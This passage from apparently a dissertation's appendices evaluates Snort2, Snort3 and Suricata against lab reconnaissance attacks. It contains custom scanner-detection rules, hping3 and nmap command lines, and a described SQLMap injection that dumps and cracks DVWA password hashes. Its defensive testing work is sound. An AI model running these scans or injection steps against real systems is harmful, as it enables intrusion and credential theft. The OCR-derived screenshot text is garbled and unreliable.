#alert tcp any any -> any any (msg: "Possible NMAP TCP Scan Detected V0.2"; flags:T; sid:1020002; rev:1;)
#alert tcp any any > any any (msg:"Possible NMAP TCP Scan V0.4"; ttl:64; sid:1020004; rev:1;)
#alert tcp any any -> any any (msg:"Possible NMAP TCP Scan Detected V0.3"; ttl:64; window: <=32120; flags:S; sid:1020003; rev2;)
#alert tcp any any -> any any (msg:"Possible NMAP Scan"; ttl:64; flags:S; sid:1020005; rev:2;)
#alert tcp any any -> any any (msg:"Possible NMAP Scan"; ttl:64; flags:S; window: =32120; sid:1020006; rev:1;)
#alert tcp any any -> any any (msg:"Possible NMAP Scan"; ttl:64; flags:S; window: <33000; sid:1020007; rev:1;)
alert tcp any any -> any any (msg:"Possible NMAP Scan"; ttl:64; flags:S; threshold:type threshold, track by_src, count 10, seconds 3; sid:1020008; rev:1;)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 3 - Mascan - Worked 1st time! 
alert tcp any any -> any any (msg:"Possible  Masscan SYN Scan"; flags:S; threshold:type threshold, track by_src, count 100, seconds 10; sid:1030001; rev:1;)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 4 - Arping
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 5 - Arp-Scan
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 6 - nbtscan  SID:1060001 Works
alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan"; sid:1060001; rev:4;)
#alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan"; ttl:64; sid:1060002; rev:1;)
#alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan"; content:"|00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00|" sid:1060003; rev:1;)
#alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan"; pkt_length:92; sid:1060004; rev:2;)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Phase II Test 7 - fping  SID:1070001 Does NOT Work.  Observation, most fping packets are ARP only a couple of icmp packets. This rule does not trigger on normal icmp packets either. 
#alert icmp any any -> any any (msg:"Possible fping Scan"; icmp_type:8; icmp_code:0; sid:1070001; rev:2;)

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 8-10 - ftest-Suricata  SID:1100001 Only works for port 139,  SID:1100002 WORKS - It looks for packets with a TTL of 200, fairly unique. SID:1100004 Also Works, this looks for TTL of 200 & NULL packet. 
#alert tcp any any -> any 139 (msg:"Possible ftest Scan"; sid:1100001; rev:2;)
#alert tcp any any -> any any (msg:"Possible ftest Scan"; ttl:200; sid:1100002; rev:2;)
#alert tcp any any -> any any (msg:"Possible ftest Scan"; ttl:200; window:>=65500; sid:1100003; rev:2;)
alert tcp any any -> any any (msg:"Possible ftest Scan"; ttl:200; flags:0; sid:1100004; rev:1;)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Phase II Test 11 - netdiscover ARP Scan – DOES NOT WORK
alert any any -> any any (msg:"ARP Packet Detected"; eth_type:0x0806; sid:1110001; rev:1;)
alert ethernet any any -> any any (msg:"L2 Frame Detected"; sid:1110002; rev:1;)
alert eth_type arp any any -> any any (msg:"ARP Packet"; sid:1110003; rev:1;)



A4.2.5 Frequency of Signature Alert Generation

The Frequency of Signature Alert Generation analysis was additional research to the work outlined in the aim and objectives and was not completed due to time constraints.  This analysis was being conducted to provide further insight into the inner workings of the signatures/rules.  If completed it would have determined the frequency of alerts generated by each of the signatures/rules.  It would have also provided data on the types of signatures being triggered and linked to the attack, see Table 26: 
[bookmark: _Toc216531591]Table 26: Signature/Rule Analysis
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[bookmark: _Toc216531422]AE Appendix 5: Testing & Evaluation
This Appendix does not document all 131 tests conducted during the experiment however, highlights points of interests noted during testing.
[bookmark: _Toc216531423]A5.1 Phase-I
A5.1.1 Phase-I/Test-31 Nmap XMAS Tree scan
An XMAS tree scan is a technique whereby all TCP flags within the packets are switched on to try and confuse the IDS.  This test was conducted to evaluate this evasion technique.  
Fig.105 shows the Kali desktop while the Nmap XMAS tree scan is in progress.  It also shows a Wireshark capture being taken simultaneously, this was standard practice for all tests.
Fig.106 shows the standardised DAS desktop.  The NIDS Alerts can be seen on the left of the screen, whilst Tshark captures on the right.  This was standard practice for all tests.  The alert files confirmed the XMAS tree scan was detected by all SUT, proving the XMAS tree scan is not a viable evasion technique.
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[bookmark: _Toc216531532]Figure 105: Phase-I/Test-31-Kali
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[bookmark: _Toc216531533]Figure 106: Phase-I/Test-31-DAS


A5.1.2 Phase-I/Test-31A Metasploitable XMAS Tree scan

The XMAS Tree scan was attempted again, this time using the Metaspoitable hacking-tool, which is widely used by hackers. This was conducted to determine any differences between the two XMAS Tree scans. Figs.107-110 show the Kali desktop while Metasploitable was started, the command used and the scan in progress.
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[bookmark: _Toc216531534]Figure 107: Phase-I/Test-31A Starting Metasploit
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[bookmark: _Toc216531535]Figure 108: Testing Metasploitable Port Scanning - Options
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[bookmark: _Toc216531536]Figure 109: Phase-I/Test-31A Issuing Metasploit Commands for XMAS Tree Scan
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[bookmark: _Toc216531537]Figure 110: Phase-I/Test-31A Metasploit XMAS Tree Scan in Progress


Fig.111 shows that Snort2/3 detected the Metasploit XMAS Tree Scan, started after 16:05.  However, Suricata did not have any alerts post 15:44.   Therefore, Suricata did not detect this XMAS Tree scan, and was classified as an FN.  
This was unexpected as all SUT detected the Nmap XMAS Tree scan during Phase-I/Test31.  It was believed that Metasploitable utilised Nmap to conduct XMAS tree scans.
This proves there is a fundamental difference between the two XMAS Tree scans.  Further research would be required to pinpoint the exact technical nuance of the Metasloitable XMAS Tree scan.  
This is a significant finding, as Suricata could detect the Nmap XMAS Tree scan, during Phase-I/Test31.  Therefore, it would have been anticipated that Suricata would detect all XMAS Tree scans.  However, Phase-I/Test31A showed this was not the case for the Metasploitable hacking-tool.
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[bookmark: _Toc216531538]Figure 111: Phase-I/Test-31A DAS
A5.1.3 Phase-I/Test-33 Nmap NULL scan
The NULL Scan is another evasion technique where no TCP flags were set at all.  Fig.112 shows the Kali desktop and the Nmap NULL scan in progress.  Fig.113 shows the DAS desktop, examining the SUT alert files.  Both Snort2/3 could detect the NULL scan attack, started at 15:38.  However, Suricata did not have any alerts after 15:32, indicating it did not detect the NULL scan; therefore, this was classified as an FN.  
This validates the findings of this study, as Snort2/3 detected substantially more scans than Suricata.  It is suspected that Suricata did not have a signature that specifically matched this form of attack and therefore could not detect this form of scan.

[image: ]
[bookmark: _Toc216531539]Figure 112: Phase-I/Test-33-Kali
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[bookmark: _Toc216531540]Figure 113: Phase-I/Test-33-DAS


A5.1.4 Phase-I/Test-34 Nmap NULL scan with Decoy
The NULL scan was repeated, this time using a Decoy source IP Address.  This is a technique used by hackers to disguise the origin of attack so that if discovered, the cybersecurity-analyst would suspect the attack was coming from another computer. 
A decoy IP Address 10.0.2.200 (.200) was used instead of the Kali IP Address 10.0.2.70 (.70).  The .200 IP Address was not assigned to any VM and was reserved specifically for this attack.
Fig.114 shows the NULL scan with Decoy being conducted.
Fig.115 shows Suricata could not detect the NULL scan, this was expected and followed the findings of Test-33.  However, Snort2/3 could detect the NULL scan.  Moreover, they were both able to detect the attack traffic from both source IP Addresses of the Kali attack VM of .70, and the decoy of .200.
This further proves the NULL scan evasion technique is not viable.  It also shows that Nmap does send the attack traffic using the Decoy IP Address but also sends the attack traffic using the attack VM IP Address.  This confirms the Decoy feature of Nmap is not viable as an evasion technique.
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[bookmark: _Toc216531541]Figure 114: Phase-I/Test-34-Kali
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[bookmark: _Toc216531542]Figure 115: Phase-I/Test-34-DAS




A5.1.5 Phase-I/Test-38 ARP-Scan
An ARP-Scan was conducted to test the SUT capability of detecting L2 attacks.  This test used the listening mode feature of ARP-Scan by using the “-l” option.  This tested the evasion technique of a passive ARP scan, listening to ARP traffic on a network.  Fig.116 shows the Listen Mode ARP scan in progress, started at 16:44.
Fig.117 shows Snort3 was the only SUT able to detect this scan but did not provide any details of the source MAC Address of the attack VM.
This was a significant finding for two reasons.  Firstly, Snort3 was the only SUT able to detect ARP Scans. Secondly, the arp-scan “listening mode” option, was in fact an Active scan not a Passive scan as the name suggests.
Comprehending the capabilities and limitations of NIDS is crucial to detecting reconnaissance attacks. Furthermore, having a profound knowledge and understanding of hacking-tools, and how they appear at the packet level through NTA, improves the detection of attacks and the cybersecurity of an organisation. 
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[bookmark: _Toc216531543]Figure 116: Phase-I/Test-38-Kali
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[bookmark: _Toc216531544]Figure 117: Phase-I/Test-38-DAS

A5.1.6 Phase-I/Test-61 Nessus Vulnerability Scan
A Nessus vulnerability scan was conducted, in this instance as a reconnaissance attack.  Nessus provides a method of host discovery and port scanning to determine which ports are open and accessible remotely to a hacker. More importantly, Nessus detects any associated vulnerabilities with those hosts/ports.  These vulnerabilities can then be exploited by a hacker, to further their attack.  
The Nessus scan reports from both Phase-I&III can be found in AE5.
Fig.118 shows the Nessus scan in progress, while Fig.119 shows the vulnerabilities associated with each host. There are several vulnerabilities associated with 10.0.2.11 (BeeBox) and 10.0.2.111 (Meta2), these are both intentionally vulnerable VMs.  
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[bookmark: _Toc216531545]Figure 118: Phase-I/Test-61 Nessus Running
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[bookmark: _Toc216531546]Figure 119: Phase-I/Test-61 Nessus Scan Complete
Fig.120 shows all SUT detected the Nessus scan. Several thousand alerts were generated by the Nessus scan, for each NIDS.  This form of reconnaissance attack can provide a hacker with a significant amount of data to base their attack upon.  Test Phase-I/Test-61 proved that NIDS detected vulnerability scans as a reconnaissance attack. This alerts the cybersecurity-analyst to the ongoing reconnaissance phase attack in real-time. Therefore, appropriate action can be taken to stop the cyber-attack at the reconnaissance phase. 
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[bookmark: _Toc216531547]Figure 120: Phase-I/Test-61 DAS

A5.1.7 Phase-I/Test-68 Enum4linux Enumeration
After the scanning phase of a reconnaissance attack, and hosts, ports and vulnerabilities have been discovered the next step is enumeration.  Enumeration provides data which the hacker can use to compromise the target PC.
Fig.121 shows the kali attack VM using the enum4linux hacking-tool to scan a single host, Meta2.  Enum4linux discovered the known usernames/workgroups for the meta2 server. Fig.122 shows enum4linux discovering file shares.  Fig.123 shows the password policy.
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[bookmark: _Toc216531548]Figure 121: Phase-I/Test-68-Kali-(1)
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[bookmark: _Toc216531549]Figure 122: Phase-I/Test-68-Kali-(2)
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[bookmark: _Toc216531550]Figure 123: Phase-I/Test-68-Kali-(3)



Fig.124 shows all SUT were able to detect the enumeration reconnaissance attack. This highlights the importance of incorporating NIDS as part of a DiD cybersecurity defence strategy.  Test Phase-I/Test-68 proved NIDS can detect an enumeration reconnaissance attack, alert the cybersecurity team of the malicious traffic and allow them to respond appropriately.
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[bookmark: _Toc216531551]Figure 124: Phase-I/Test68-DAS


A5.1.8 Phase-I/Test-72 SQLMap – Step 1of4 
A SQLIA was conducted using the SQLMap hacking-tool to automatically inject SQL statements into the database.  This reconnaissance attack required four-steps using an authenticated session cookie to gain access to the database. 
Fig.125 shows the SQLMap hacking-tool being used to test the “id” parameter for an SQLi vulnerability, this attack was started at 16:35. Fig.126 confirms that the “id” parameter is vulnerable to SQLi. 
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[bookmark: _Toc216531552]Figure 125: Phase-I/Test72-Kali-1
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[bookmark: _Toc216531553]Figure 126: Phase-I/Test72-Kali-2
Fig.127 shows the DAS desktop, with the alert logs on the left.  Suricata did not detect this attack, its last alert was detected at 14:06.
Snort2/3 detected this SQILA attack.  However, the attack is not visible in the Snort3 alert window.  Therefore, a screenshot from Snort3’s alert log has been entered into Fig.127.
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[bookmark: _Toc216531554]Figure 127: Phase-I/Test-72-DAS
Test Phase-I-Test-72 proved both Snort2/3 could detect the SQLIA at the earliest opportunity providing the cybersecurity-analyst time to respond appropriately to secure the network. The source IP Address of the attacking VM can be found in the alert log file, this can be used to block the attack.


A5.1.9 Phase-I/Test-73 SQLMap – Step 2of4 
The SQLIA reconnaissance attack continued onto the next stage. The “id” parameter is used to exfiltrate the databases stored on the SQL server, this attack was started at 16:42, see Fig.128. 
There are seven databases stored on the Meta2 SQLServer, the database of interest for this test was the Damn Vulnerable Web App (DVWA).
Fig.129 shows the DAS desktop, Suricata once again does not detect this attack.  However, both Snort2/3 detected this malicious traffic.
This proved Suricata was unable to detect database exfiltration during this attack and was categorised as an FN.  Cybersecurity-analysts would be unaware that this data had been leaked. No action would be taken to restore cybersecurity to block further attacks, allowing this attack to develop further.
[image: ]
[bookmark: _Toc216531555]Figure 128: Phase-I/Test73-Kali
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[bookmark: _Toc216531556]Figure 129: Phase-I/Test73-DAS


A5.1.10 Phase-I/Test-74 SQLMap – Step 3of4 
Focusing solely on the DVWA database, the next step in this attack was to determine the data contained within the DVWA database.
Fig.130 shows the DVWA database contained two tables, “Guestbook” and “Users”.  The next step was to determine the “Users” of the DVWA system.
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[bookmark: _Toc216531557]Figure 130: Phase-I/Test74-Kali


Fig.131 shows the DAS Desktop, this time neither Suricata nor Snort2 could detect the SQLIA. Snort3 was able to detect this attack, however, was not visible in the screenshot.  The alerts have been added from the Snort3 alert log file.   
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[bookmark: _Toc216531558]Figure 131: Phase-I/Test-74-DAS
Test Phase-I/Test-74 showed Snort2 only detected part of the SQLIA. Cybersecurity-analyst would therefore be unaware that the tables would have been exfiltrated too. Presumably, the cybersecurity-analysts would assume the attack would have stopped at this point.
Snort3 was the only NIDS capable of detecting this activity in its entirety, providing further evidence that it was the most effective NIDS during testing.


A5.1.11 Phase-I/Test-75 SQLMap – Step 4of4 
This is the final stage of the SQLIA.  If this was a real-world cyberattack, the attack would have been allowed to develop resulting in a breach of cybersecurity.  Hackers would now have access to both the DVWA database and the “Users” Table.  This final stage shows the process of obtaining the usernames and hashed passwords contained within the “Users” Table.
Fig.132 Shows the SQLMap tool cracking the password hashes.  The username, password hash and unencrypted password can be seen. 
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[bookmark: _Toc216531559]Figure 132: Phase-I/Test75-Kali


Fig.133 shows the DAS Desktop.  Snort3 was the only NIDS capable of detecting this final stage of the SQLIA.  This was surprising, considering the serious nature of this aspect of the attack.  This adds further weight that Snort3 was indeed the most effective NIDS.
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[bookmark: _Toc216531560]Figure 133: Phase-I/Test75-DAS


[bookmark: _Toc216531424]A5.2 Phase-II
A5.2.1 Phase-II/Test-241 – sslscan with filters applied
Fig.134 shows the Kali attack VM carrying out a sslscan reconnaissance attack using the filters to reduce traffic.  This attack was carried out in four steps: 
1. SSL/TLS Protocols
2. TLS Renegotiation
3. Supported Server Cipher(s)
4. SSL Certificate
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[bookmark: _Toc216531561]Figure 134: Phase-II(Short)/Test-241 Kali
Fig. 135 shows the Snort2 alert log.  During the sslscan, the Supported Server Cipher(s) step triggered an alert on Snort2 (SID [1:2657:8]).  Test-241 was started at 14:01 which triggered an alert on Snort2 at 14:21.  
This signature/rule was also triggered at 13:50, this was generated as a test of the sslscan tool was conducted to ensure everything was working in preparation for Phase-II/Test-241.
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[bookmark: _Toc216531562]Figure 135: Phase-II(Short)/Test-241 DAS - Snort2 Alert Log
[bookmark: _Toc216531425]A5.3 Phase-III
A5.3.1 Phase-III/Test-265 Nessus Vulnerability Scan
Fig.136 shows a Nessus scan being conducted on all VMs within the testbed during Phase-III. Fig.137 shows the DAS Desktop with the NIDS detecting the same vulnerabilities as in Phase-I/Test-61.  
The Nessus scan was conducted again in Phase-III to highlight the fact that vulnerability scans can trigger FPs. Therefore, vulnerability scanners need to be catered for within a DiD environment, with “pass” signatures/rules.  These “pass” signatures/rules are manually created and guarantee alerts are not triggered for legitimate services on a network ensuring FPs are not generated.
The Nessus scan reports from both Phase-I&III can be found in AE5.
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[bookmark: _Toc216531563]Figure 136: Phase-III/Test-265 Nessus Vulnerability Scan - List of Vulnerabilities detected
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[bookmark: _Toc216531564]Figure 137: Phase-III/Test-143 DAS Desktop at Mid-point of Nessus Vulnerability scan


[bookmark: _Toc216531426]A5.4 Phase-IV
A5.4.1 Phase-IV/Test-270 (Test-270 Without DoS)
Test Phase-IV/Test-270 showed that tests detected during Phase-I were periodically missed by the NIDS e.g. Snort3 consistently detected sslscan attacks in Phase-I/Test-49 however, now missed one of them in Phase-IV.  Interestingly, the sslscan missed during test 270, when DoS was not applied.  It is suspected the Snort3 server was still unstable after the previous DoS attack of Phase-IV/Test-269 and therefore missed this attack.  

A5.4.2 Phase-IV/Test-271 (Test-270 With DoS)
Phase-IV/Test-271 repeated this attack with DoS applied.  Snort3 was able to detect this attack, however it was very difficult for the author to find this alert as the alert log contained over 1.2 Million alerts.  A single alert was generated during Phase-IV/Test-271 by the sslscan attack, see Fig.138.  This signature/rule was generated because of the same invalid SSL HELLO alert triggered during the HTTPS test in Phase-III/Test-259.
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[bookmark: _Toc216531565]Figure 138: Snort3 Alert generated during DoS Stress Testing



[bookmark: _Toc216531427]AE Appendix 6: Additional Evidence Contents
Table 27 Shows the Additional Evidence contents.
[bookmark: _Toc216531592]Table 27: Additional Evidence (AE) Contents
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Member Workstation
10.6.22000
8 N/A
Roaming Profile: /A
Local Profil C:\Users\test1
: No

est1,0U=Cyber Lab Users,DC=cyber,DC=test
Last time Group Policy was applied: 22/69/2025 at 15:02:55
Group Policy was applied from: DC-100. cyber. test
Group Policy slow link threshold: 560 kbps
Domain Name CYBER-DC-106
Domain Type: windows 2008 or later

Applied Group Policy Objects
/A

The following GPOs were not applied because they were Filtered out

Local Group Policy
Filtering: Not Applied (Empty)

>
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f8 WinServ2019-Nessus (Nessus Working) [Running] - Oracle VirtualBox - X
File Machine View Input Devices Help

@ Advded Port Scanner - X A
File View Setings Help

P sn P CiTeE:

[10024-128 Exomple: 192.168.0.1-100, 192.1630200 | [Well-known TCP ports 1-1023 ] [Searcn 5

Results  Favorites

Sttus Nome 3 Monufacturer VAC sdress Ports
= 100210 100210 PCS Systemicchmik G, B002TSTADOS 135

= BeE-80% 10021 PCS Systemicchmik G, GBO02TICEBCT  21,22,25,80.
= 100250 100250 PCS Systemicchmik G, GB0027T0DEDI 2

= 10025 10025 PCS Systemtcchmik G, 0B002TATERDO 2

= 10023 10023 PCS Systemtcchmik G, 0B002TFS2ESC 2

= 100270 100270 PCS Systemtcchmik G.. 080027698585

= oc-100 1002100 PCS Systemtcchmik G.. 080027828528 52,88,135, 1.
= WIN-OUQTUPOS 1002101 P Systemtcchik G, 0B002T2C210E 135,139,485
= VETASPLOTABLE 1002111 PCS Systemtcchmik G, GB0027CBABSC  21,22,23, 25,
= 002z o0z PCS Systemicchmik G, GBO0ZTSFDCD  22,80,43
= 1002120 1002120 PCS Systemicchrik G 0B002TODDETE

METASPLOITABLE
Status: Alve
Operating system:  Linux
™ 10.0.2.111
MAC: :AB:SC
Manufacturer: PCS Systemtechni GmbH
NetBIOS:
User:
Type:
Date:
Comments:
Service Details
jar] vsftpd 2.3.4

Port 21 (TCP) | vsftpd 2.3.4

Port 22 (TCP) | OpenSSH 4.7p1 Debian
subuntut protocol 2.0

Port 23 (TCP) | Linux tehnetd
Port 25 (TCP) | Postfx smtpd
Port 53 (TCP) | domain

Port 80 (TCP) | Apache httpd 2.2.8 (Ubuntu)
DAV/2

>
BOLPS 1@ @l Right C
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15 Oracle VirtualBox Manager - X
Fie Machine Resources Help
Columng, VM Activity
nocrvion W osrauusge Hot e sysem
7Y Meta2 (Mets2 Working) User: 0% 0 Used: 2221 6B Usec:08
© rumning Kemek 8% Mz Free: 10570 GB Free:08
Totak 8% Total 12791 6B Totat:08
BeeBox (BecBox Working)
% Running WM Name CPU Guest CcPUVMM RAM
BeeBox 0% 5% WA
Win11-PC (Win 11 Working)
& Rumming Kali-70 "% % 561.88 ME/1
Meta2 0% o5% A
Ubuntu Server SSTarget (55L Target Working) Snort2-p1 - Ubuntu Server 2404 Clone 3 % 0808
 Running Suricata-P1 - Ubuntu Server 24.04 2% 9% 0B/0B
WinServ2019-DC (DC-100 Working) Ubunty Senver Snorts P1 2 % o8/08
@ Running Ubuntu Server SS(Target "% 5% 0808
Wint1-pC 3 0% WA
O oo esss s orkins) Winsen2019-0AS 2 5% 121682
Winsen2019-DC 3 9% WA
WinServ2019 (WinServ 2019 Working) WinSen2019-Nessus. 5% 2% N/A

© powered off

WinServ2019 DC101-Evidence
© powered off

 Kaligroup

P Kali-70 (Kali Working)
"8l < Running

P Kali-70 P2
© Powered Off < >
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Tools Attack
P2 [P1 [Test Tool Technique TechniquelD  Target Command
Test | Test Example
Time interval (ms)
# Tools |Description
1| 2|hping3 |Packet Crafting tool hping3 | SYN Scan Interval _|hping3 - 1
2] 24[Nmap  [Network Scanner Nmap _|TCPScan |P2-NP Range  |Delay  |nmap -sT 1
3] 35[masscan_|[Network Scanner masscan_|TCP Scan _|P2-MS Range |Rate masscan -]
4] 37|Arping | Address Resolution Protocol Scanner Arping | ARP Ping_|P2-AP Host Delay |arping-c 10|
5| 40[Arp-Scan |Address Resolution Protocol Scanner Arp-Scan |ARP Scan_|P2-AS Range |Interval |arp-scan 10|
6] 41[nbtscan |NetBIOS Scanner nbtscan | NetBIOS Sc{P2-NB Range _|Bandwidtt{nbtscan 10.
7| 43]fping Host Detection fping | ARP & ICMH{P2-FP Range |[Interval _|fping-g 10.
8| 44]ftester |Web Application Firewall and DS Discovery Tool Snort2 ftester |IDS Test SndP2-FT1. Host Delay |ftest-c 10.
o[ 45]ftester |web Application Firewall and DS Discovery Tool Snort3 ftester _|IDS Test SndP2-FT2 Host Delay |ftest-c 10. N/A
10| 46|ftester |Web Application Firewall and DS Discovery Tool Suricata ftester |IDS Test SufP2-FT3 Host Delay
11] 47[netdiscovgAddress Resolution Protocol Scanner netdiscovq Topology D|P2-ND Range _|Sleep
12] 49[sslscan__|Digital Certificate Scanner sslscan__|SSL Cert ScqP2-5S Host Sleep |sslscan 10.0N/A
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Tools Attack
P2 [P1 |Test Technique Technique Target Timing ~ Command
Test|Test D Metric  Example
Time interval (ms)
# Tools _|Description
1| 2|hping3 _|Packet Crafting tool hping3 | SYN Scan interval _|hping3 -5 1 alert tep any a|
2[ 24|Nmap _|Network Scanner Nmap |TCPScan |P2-NP__|Range |Delay  |nmap-sT 1 alert tep any a|
3| 35|masscan_|Network Scanner masscan |TCPScan_|P2-MS___|Range |Rate masscan ] alert tcp any a|
4| 37|Arping__|Address Resolution Protocol Scanner Arping _|ARPPing |P2-AP __|Host _|Delay |arping-c 10]
5| 40[Arp-Scan |Address Resolution Protocol Scanner Arp-Scan |ARP Scan |P2-AS__|Range |Interval _|arp-scan 10|
6] 41|nbtscan | NetBIOS Scanner nbtscan | NetBIOS Sc|{P2-NB___|Range |Bandwidth|nbtscan 10.
7| a3[fping | Host Detection fping __|ARP & ICMI{P2-FP Range Interval | fping -g 10.4
8| 44|ftester | Web Application Firewall and IDS Discovery Tool Snort2 ftester |IDS Test Sn{P2-FT1__|Host |Delay alert tep any a|
9| 4s|ftester | web Application Firewall and IDS Discovery Tool Snort3 ftester |IDS Test Sn{P2-FT2__|Host |Delay alert tep any a|
10| 46|ftester _|Web Application Firewall and IDS Discovery Tool Suricata___|ftester _|IDS Test SulP2-FT3__|Host |Delay _|ftest c 10.q. alert tcp any a|
11| 47|netdiscovd Address Resolution Protocol Scanner netdiscovd Topology D|P2-ND___|Range [Sleep | netdiscover]
12 _49[sslscan | Digital Certificate Scanner sslscan__|SSL Cert Sc4P2-S5 Host |Sleep _|sslscan 10.qN/A
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alert tcp any any -> SHOME_NET any (msg:"Possible HPING3 SYN Packet"; ttl:64; flags:S; sid:1010001; rev:1;) N/A_|N/A N/A N/A

ND2 alert tcp any any -> any any (msg:"Possible Nmap TCP Scan’’; ttl:64; flags:S; threshold:type threshold, track by_src, count 10, seconds 3; sid:1020008; rev:2;) |Waorks |N/A  [N/A N/A N/A
{nD3 alert tcp any any -> any any (msg:"Possible Masscan SYN Scan'’; flags:S; threshold:type threshold, track by_src, count 100, seconds 10; sid:1030001; rev:1;) Works |N/A__|N/A N/A N/A
[ND4. Various DOES NOND12 |Various |DOES NOT WORK [N/A
[NDs Various DOES NJND13 |Various | DOES NOT WORK [N/A
ND6 alert udp any any -> any 137 (msg:"Possible NBTScan NetBIOS Scan'’; sid:1060001; rev:4;) Works |ND14 |Various _|DOES NOT WORK [N/A
ND7 Various DOES NQND15 |Various | DOES NOT WORK [N/A
ND8 alert tp any any -> any any (msg:"Possible ftest Scan"; ttl:200; flags:0; sid:1100004; rev:1;) Works [N/A__|[N/A N/A N/A
ND9 alert tcp any any -> any any (msg:"Possible ftest Scan"; ttl:200; flags:0; sid:1100004; rev:1;) Works |N/A__|N/A N/A N/A
ND10alert tcp any any > any any (msg:"Possible ftest Scan"; tt1:200; flags:0; sid:1100004; rev:1;) Works |N/A__|N/A N/A N/A
[ND11 [various DOES NOND16 |Various | DOES NOT WORK [N/A
N/A N/A N/A_ [N/A[N/A N/A N/A
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forking) [Running] -

Machine View Input _Devics

root@kali: homelkali
File Actions Edit View Help

°f MyNEEN

Capturing from eth0

ns
‘:‘S‘:“" 0.2 A il DIF A Edit View Go Capture Analyze Statistics Telepl
len=46 ip=10

o OA© s BE@ a « >0

len=46 ip=10.0.2.111 ttl=64 DF id=0 sport=0 flags=RA seq=59 win=0 rtt=6.6
ms
o
— 10.0.2.111 hping statistic — -
61 packets transmitted, 60 packets received, 2% packet loss IS
round-trip min/avg/max = 0.9/9.1/124.6 ms =

8595
8596
8597

ply a display filter ... <Ctrl-/>

[0 /hone/kald)

- hping3 -A 10.0.2.111 -p 0-1023

HPING 10.0.2.111 (ethd 10.0.2.111): A set, 40 headers + @ data bytes
Ten=46 ip=10.0.2.111 DF id=0 sport=0 flags=R seq=0 win=0 rtt=
s

Ten=46 ip=10.0.2.111 ttl=64
s

sport=0 flags=R seq=1 win=0 rtt=1.0 m

Ten=46 i 12,111 ttl=6h sport=e flags=R seq=:
s

Ten=46 i .2.111 ttl=6h sport=o flags=R seq=3 -ame 1: 118 bytes on wire (844 bits),
-4 v S zhernet II, Src: PCSSystemtec_47:ef:d
SE"’“G oz S ETE) FUCEER SRR aternet Protocol Version 4, Src: 10.0
Ten=46 i .2.111 ttl=6h Sport=0 flags=R seq=5 e o (el (et S G
S sH Protocol

Ten=46 i .2.111 ttl=6h sport=o flags=R seq=6

s

Ten=46 .2.111 ttl=64 DF id=0 sport=0 flags=R seq=7

s

Ten=46 p=10.0.2.111 ttl=64 sport=o flags=R seq=8

332
AR g M
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zoot@suricata:/var/log/suricatat cail -t /var/log/suricata/fast.1og T a———— T PSERRR]
1 © 6013466054  10.0.2.101 - 10.0.2.255  BROWSER 243 Host Amnouncemencffll CEU(I| 1 Tasks: 50, 32 tar ;1 rumning
8 packets captured TLETITTI1689M/. ] Load average: 0.02 0.08 0.08
oot@suricata:/nome/cslab/Wireshark} Tshark -i enp0s3 —f "not Tcp port 22 o

Running as user "root" and group "root". This could be dangerous

capturing on 'enposs’

tshark: The file to which the capture would be saved ("PHASEl-Suricata.: NI
oot@suricata:/home/cslab/Wireshark} Tshark —i enp0s3 —f "ot Tcp port

d not ipe" -w PRASEI-Suricata.pcap 1180 3712
Running as user "root" and group "root”. This could be dangerous. 1 root 20 22564 13568 9472
capturing on 'enposs’ 262 zoot 15 -1 ees3z 17472 16320
tshark: The file to which the capture would be saved ("PHASEl-Suricata.. 282M 27264 8704
") could not be opened: No such file or directory. 29068 7664 4976
zootesuricata:/home/cslab/Wiresharkt cd .. 2021 27268 8703
zoot@suricata:/nome/cslab} ca /home/cslab/Wireshark/ 2021 27268 8708
roctesuricata:/nome/calab/Wiresharkt tshark —i enp0s3 —f "not top port 2824 27264 8704
nd not ipe" -w PHASEL-Suricata.pcap 2021 27268 8708
Running as user "rootr and growp "root". This could be dangerous. 2021 27268 8708
Capturing on *enposs: 2021 272648704
563 [] Fi1

VIRT MEME

htop
/sbin/inic
/usx/1ib/syst|
/sbin/maltipal
/usx/1ib/syst|

Toot@anort2:/var/log/anorté tail -f /var/log/snort/smort.alert.fast nand-line azguments
10/03-13:19:43.600827 [**] [1:489:4] ICHP Large ICHP Packet [++] [Classificallizoot@anort2:/home/calab/Wiresharké tahark -i enps3 —f “not top port 22 and o
tion: Potentially Bad Traffic] 2] (IPV6-IQHP) £e00::75d3:4202:1b57[llot ip6" — PHASEL-Smorc2.peap
e > ~c
10/03-13:15:43.776893 [++] [1:495:4] IQHP Large IQHP Packet [+*] [Classificafflroot@snort2:/home/cslab/Wiresharké tshark —i enp0ss —f
Potentially Bad Traffic] : 2] (1EVe-1GMP) £e50::7503:4202:1b57[flot 16" —w PHASEL-Snorc2.pcap
3ad -> £es0::ecssialas:ezl Running as user "root” and group "root
10/03-13:15:44.122240 (++] [1:499:4] IQP Large IQHP Packet [+*] [Classificafflcapturing on 'enp0s3’ 0 371
